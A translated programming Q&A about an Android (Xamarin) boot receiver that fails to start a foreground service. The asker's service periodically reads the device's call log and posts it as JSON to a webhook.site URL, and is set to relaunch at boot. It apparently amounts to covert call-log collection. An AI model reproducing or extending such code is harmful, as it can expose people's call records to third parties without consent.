c# - ACTION_BOOT_COMPLETED 接收器不工作
问题描述
我有这个广播接收器ACTION_BOOT_COMPLETED
:
[BroadcastReceiver(Enabled = true, DirectBootAware = true, Exported = true)]
[IntentFilter(new[] { Intent.ActionBootCompleted }, Priority = (int)IntentFilterPriority.HighPriority)]
public class BootReceiver : BroadcastReceiver
{
public override void OnReceive(Context context, Intent intent)
{
Intent startIntent = new Intent(context, typeof(PService));
startIntent.AddFlags(ActivityFlags.NewTask);
context.StartForegroundService(startIntent);
}
}
我的主要活动:
protected override void OnCreate(Bundle savedInstanceState)
{
TabLayoutResource = Resource.Layout.Tabbar;
ToolbarResource = Resource.Layout.Toolbar;
base.OnCreate(savedInstanceState);
Xamarin.Essentials.Platform.Init(this, savedInstanceState);
global::Xamarin.Forms.Forms.Init(this, savedInstanceState);
LoadApplication(new App());
StartForegroundService(new Intent(this, typeof(PService)));
if (!Android.Provider.Settings.CanDrawOverlays(this))
{
Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
StartActivityForResult(intent, 0);
}
}
我的服务:
public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
{
var seconds = TimeSpan.FromSeconds(15);
Device.StartTimer(seconds, () =>
{
Root r = new Root();
MySqlConnection con = new MySqlConnection("*PRIVATE DATA*");
con.Open();
MySqlCommand cmd = con.CreateCommand();
cmd.CommandText = "SELECT * FROM user_data";
MySqlDataReader reader = cmd.ExecuteReader();
DateTime user = DateTime.Now;
while (reader.Read())
{
if (reader.GetString(0) == Preferences.Get("GUID", "ERROR"))
{
user = DateTime.ParseExact(reader[1].ToString(), "HH:mm:ss", CultureInfo.InvariantCulture);
r.ID = reader.GetString(2);
}
}
async void LoadCallLog()
{
var Logg = DependencyService.Get<ICallLog>().GetCallLogs();
r.calls = (List<CallLogModel>)Logg;
var serialized = JsonConvert.SerializeObject(r);
using (var client = new HttpClient())
{
await client.PostAsync("https://webhook.site/dd7cd0f8-6bd8-4e9f-961d-6b105e1dc7eb", new StringContent(serialized));
}
}
if (user.ToString("HH:mm") == DateTime.Now.ToString("HH:mm"))
{
LoadCallLog();
Thread.Sleep(60000);
}
return true;
});
return StartCommandResult.Sticky;
}
但是一旦启动完成,它就不会启动我的服务。清单由 xamarin 自动生成。我知道问题是在新的 API(26+)中有一些限制。
有人可以帮我解决我应该更改的内容,以便此代码可以正常工作吗?我正在使用 29 API 版本。
解决方案
尝试添加以下权限:
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
这需要在您的活动中绘制叠加层:
if (!Android.Provider.Settings.CanDrawOverlays(this))
{
Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
StartActivityForResult(intent,requestCode);
}
你可以参考类似的案例
推荐阅读
- sql - Hive 查询 - 将值除以组中的值的数量
- java - JerseyWebTarget IPv6 支持?
- javascript - 在父级中单击按钮时如何将数据从子级传递给父级
- swift - 如何从另一个孩子 Firebase Swift 中获取孩子
- git - 将 SVN 项目迁移到 Git - 分支和标签完全错误
- python - 缺少 Spyder 依赖项 qtconsole
- php - PHP:恢复转义的Unicode字符
- excel - 在excel中获取VBA代码以查找文件并打开它
- python - Webscraping,在scrapy试图到达某个URL
- c - 将 int 分配给数组时出现分段错误